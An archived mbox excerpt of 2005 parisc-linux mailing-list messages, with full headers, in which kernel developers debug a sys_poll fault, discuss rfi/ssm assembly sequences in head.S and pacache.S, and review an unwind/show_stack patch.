X-GMX-UID: avQEYmw+eSE57L6WZHQhaXN2IGRvbwCZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22691

> > sr0-3   0000000000bc8800 0000000000000000 0000000000000000 0000000000bc8800
> > sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000
> > 
> > IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000101b22e4 00000000101b22e8
> >   IIR: 0ed5d240    ISR: 0000000000bc8800  IOR: 000000000002e4fe
> >   CPU:        0   CR30: 000000001f3ec000 CR31: 0000000010584000
> >   ORIG_R28: 000000001010e400
> >   IAOQ[0]: sys_poll+0x274/0x298
> >   IAOQ[1]: sys_poll+0x278/0x298
> >   RP(r2): sys_poll+0x17c/0x298
> > 
> >   # disasm 0ed5d240
> >     0:   0e d5 d2 40     sth r21,0(sr3,r22)
> 
> Where did this address come from?  IAOQ[0] = 0x101b22e4.

Sorry, this is the faulting instruction.  However, this isn't much help.
This isn't GCC code (GCC doesn't generate code using sr3).  It's part of
a syscall asm.  The value in sr3 seems wierd.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [gcc] should we teach gcc some new tricks?
Date: Mon, 2 May 2005 16:46:26 -0400 (EDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <200505022046.j42KkQnh000694@hiauly1.hia.nrc.ca>
References: <200505022020.j42KKoGn000593@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623777 14474 80.91.229.3 (22 Nov 2014 02:36:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:17 +0000 (UTC)
Cc: lamont@debian.org,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 May 2005 20:46:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx052) with SMTP; 02 May 2005 22:46:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ABD97D679;
	Mon,  2 May 2005 14:46:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29985-07; Mon, 2 May 2005 14:46:38 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C257A7D67E;
	Mon,  2 May 2005 14:46:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 125867D672
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 14:46:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29938-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 2 May 2005 14:46:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7E5857D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  2 May 2005 14:46:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j42KkQhF000695; Mon, 2 May 2005 16:46:27 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j42KkQnh000694;
	Mon, 2 May 2005 16:46:26 -0400 (EDT)
In-Reply-To: <200505022020.j42KKoGn000593@hiauly1.hia.nrc.ca> from "John David
	Anglin" at May 2, 2005 04:20:49 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7PQEYrhTeSE57L6WZHQhaXN2IGRvb4CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22692

> > >   IAOQ[0]: sys_poll+0x274/0x298
> > >   IAOQ[1]: sys_poll+0x278/0x298
> > >   RP(r2): sys_poll+0x17c/0x298
> > > 
> > >   # disasm 0ed5d240
> > >     0:   0e d5 d2 40     sth r21,0(sr3,r22)
> > 
> > Where did this address come from?  IAOQ[0] = 0x101b22e4.
> 
> Sorry, this is the faulting instruction.  However, this isn't much help.
> This isn't GCC code (GCC doesn't generate code using sr3).  It's part of
> a syscall asm.  The value in sr3 seems wierd.

The problem code is in fs/select.c:

                for (j=0; j < walk->len; j++, ufds++) {
			if(__put_user(fds[j].revents, &ufds->revents))
				goto out_fds;
		}

The sth is in the __put_user code.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: yet another ssm/rsm/rfi question [Was: [parisc-linux] head.S: a small
	typo]
Date: Tue, 3 May 2005 16:56:10 +0000
Lines: 99
Approved: news@gmane.org
Message-ID: <426F252F00002DD9@mail-1-bnl.tiscali.it>
References: <20050501152849.GA17998@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623777 14476 80.91.229.3 (22 Nov 2014 02:36:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:17 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2005 16:56:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx007) with SMTP; 03 May 2005 18:56:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ABE67D66D;
	Tue,  3 May 2005 10:56:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03624-07; Tue, 3 May 2005 10:56:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53B9C7D672;
	Tue,  3 May 2005 10:56:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 285CF7D66C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 10:56:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03624-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 May 2005 10:56:22 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 2C7FB7D656
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 10:56:22 -0600 (MDT)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DT0gt-0005Fu-7D; Tue, 03 May 2005 18:56:13 +0200
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 3 May 2005 18:56:10 +0200
In-Reply-To: <20050501152849.GA17998@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HcgFYlU5eSEkdb6WZHQhaXN1IGRvb0CT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22693


Hello all,

yet another strange notice between head.S and real2.S:

the following:
/* rfi_virt2real() and rfi_real2virt() could perhaps be adapted for
 * more general-purpose use by the several places which need RFIs
 */
        .text
        .align 128
rfi_virt2real:
        /* switch to real mode... */
        pcxt_ssm_bug

        rsm             PSW_SM_Q+PSW_SM_I,%r0  /* prep to load iia queue
*/
        mtctl           %r0, %cr17      /* Clear IIASQ tail */
        mtctl           %r0, %cr17      /* Clear IIASQ head */
        load32          PA(rfi_v2r_1), %r1
        mtctl           %r1, %cr18      /* IIAOQ head */
        ldo             4(%r1), %r1
        mtctl           %r1, %cr18      /* IIAOQ tail */
        load32          REAL_MODE_PSW, %r1
        mtctl           %r1, %cr22
        rfi

        nop
        nop
        nop
        nop
        nop
        nop
        nop
        nop
rfi_v2r_1:
        tophys_r1 %r2
        bv      0(%r2)
        nop

looks very like to me to:
        .text
        .align  128

        .export flush_tlb_all_local,code

flush_tlb_all_local:
        .proc
        .callinfo NO_CALLS
        .entry

        /*
         * The pitlbe and pdtlbe instructions should only be used to
         * flush the entire tlb. Also, there needs to be no intervening
         * tlb operations, e.g. tlb misses, so the operation needs
         * to happen in real mode with all interruptions disabled.
         */

        pcxt_ssm_bug

        /* relied upon translation! PA 2.0 Arch. F-4 and F-5 */
        rsm             PSW_SM_Q+PSW_SM_I, %r0  /* prep to load iia queue=

*/
        mtctl           %r0, %cr17              /* Clear IIASQ tail */
        mtctl           %r0, %cr17              /* Clear IIASQ head */
        ldil            L%PA(1f), %r1
        ldo             R%PA(1f)(%r1), %r1
        mtctl           %r1, %cr18              /* IIAOQ head */
        ldo             4(%r1), %r1
        mtctl           %r1, %cr18              /* IIAOQ tail */
        load32          REAL_MODE_PSW, %r1
        mtctl           %r1, %cr22
        rfi
        nop

1:      ldil            L%PA(cache_info), %r1
        ldo             R%PA(cache_info)(%r1), %r1

        /* Flush Instruction Tlb */
[snip]

(well we could easly re-label 1 by e.g. flush_tlb_all_local_1 and use "lo=
ad32
PA(flush_tlb_all_local_1), %r1")
but I am surprised to not find the 8 nops between rfi and label.

Any recommendation about this?

Thanks again,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: yet another ssm/rsm/rfi question [Was: [parisc-linux] head.S: a
	small typo]
Date: Tue, 3 May 2005 11:23:53 -0600
Lines: 39
Approved: news@gmane.org
Message-ID: <20050503172353.GA23515@colo.lackof.org>
References: <20050501152849.GA17998@colo.lackof.org>
	<426F252F00002DD9@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623778 14480 80.91.229.3 (22 Nov 2014 02:36:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2005 17:21:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 03 May 2005 19:21:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A5CF7D649;
	Tue,  3 May 2005 11:21:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04108-01; Tue, 3 May 2005 11:21:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC18C7D64E;
	Tue,  3 May 2005 11:21:17 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 84E4F7D641
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 11:21:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03624-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 May 2005 11:21:14 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id F015E7D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 11:21:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 7B05329803F;
	Tue,  3 May 2005 11:23:54 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02078-06; Tue, 3 May 2005 11:23:53 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 1AEF529800A; Tue,  3 May 2005 11:23:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <426F252F00002DD9@mail-1-bnl.tiscali.it>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZNYFYk1QeSEkZb6WZHQhaXN1IGRvbwCa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22694

On Tue, May 03, 2005 at 04:56:10PM +0000, Joel Soete wrote:
...
>         pcxt_ssm_bug
...
> (well we could easly re-label 1 by e.g. flush_tlb_all_local_1 and use "load32
> PA(flush_tlb_all_local_1), %r1")

Sure. We could. Why?

> but I am surprised to not find the 8 nops between rfi and label.

AFAICT, the NOPs are pointless. The RFI better not return or we
have more serious problems (e.g. HW failure).

I will unify (i.e. define macros) uses of ssm/rsm/rfi once this current
patch is in CVS and people are happy with it.

There are currently 8 uses of RFI:

grundler <501>fgrep pcxt_ssm_bug *S
entry.S:        pcxt_ssm_bug
head.S: pcxt_ssm_bug
pacache.S:      pcxt_ssm_bug
pacache.S:      pcxt_ssm_bug
pacache.S:      pcxt_ssm_bug
pacache.S:      pcxt_ssm_bug
real2.S:        pcxt_ssm_bug
real2.S:        pcxt_ssm_bug

All but one are easily replaced with a macro that takes 2 parameters.
But one step at a time...

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: traps, unwind new patch proposal.
Date: Tue, 3 May 2005 02:30:52 -0700
Lines: 43
Approved: news@gmane.org
Message-ID: <20050503093052.GF21760@tausq.org>
References: <4274E6C8.9020704@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623778 14484 80.91.229.3 (22 Nov 2014 02:36:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2005 09:31:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 03 May 2005 11:31:37 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA8947D666;
	Tue,  3 May 2005 03:31:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31969-09; Tue, 3 May 2005 03:31:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4AAFC7D668;
	Tue,  3 May 2005 03:31:05 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ECEE97D661
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 03:31:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31969-06 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 May 2005 03:31:01 -0600 (MDT)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 6E1757D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 03:31:01 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id DBDF4112207; Tue,  3 May 2005 02:30:52 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <4274E6C8.9020704@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rCEFYk4LeSEkO76WZHQhaXN1IGRvb8Cc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22695

Joel,

> Here is my new proposal to attempt to fix the show_stack() bug in the early 
> boot stage:

Can you explain again what is the problem you are seeing? Is it because
of stack overflow? calls to kmalloc()?

> +struct unwind_frame_regs {
> +       unsigned long sp, ip, rp, r31;
> +};

this is better, although i am still not very clear why we can't just use
pt_regs.

> +#define UFI_REGS_BUF_MAX       128     /* about 4k for LP64 */
> +extern struct unwind_frame_regs ufi_regs_buf[UFI_REGS_BUF_MAX];
> +extern unsigned int ufi_regs_buf_i;

this seems to be used to handle recursive calls to show_stack(), is that
right? why do we want to call show_stack() recursively?

i'm not sure why you want to put this array as a global variable. what's
wrong with putting it on the stack of show_stack()?

> +#if 0   /* FIXME: not used */
>  void unwind_frame_init_running(struct unwind_frame_info *info, struct 
>  pt_regs *regs);
> +#endif

please fix this. this function is useful e.g. for kdb.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: traps, unwind new patch proposal.
Date: Tue, 3 May 2005 17:50:30 +0200
Lines: 124
Approved: news@gmane.org
Message-ID: <426F252F00002D58@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623778 14489 80.91.229.3 (22 Nov 2014 02:36:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:20 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 May 2005 15:51:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 03 May 2005 17:51:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05B237D680;
	Tue,  3 May 2005 09:50:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02917-08; Tue, 3 May 2005 09:50:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED2A87D66D;
	Tue,  3 May 2005 09:50:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFDC97D661
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 09:50:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02728-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 3 May 2005 09:50:40 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 04C6A7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  3 May 2005 09:50:40 -0600 (MDT)
Original-Received: from mail-1-bnl.mail.tiscali.sys ([10.39.115.131]
	helo=mail-1-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DSzfK-0007jd-O8; Tue, 03 May 2005 17:50:34 +0200
Original-Received: from [57.67.177.33] by mail-1-bnl.tiscali.it with HTTP;
	Tue, 3 May 2005 17:50:30 +0200
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
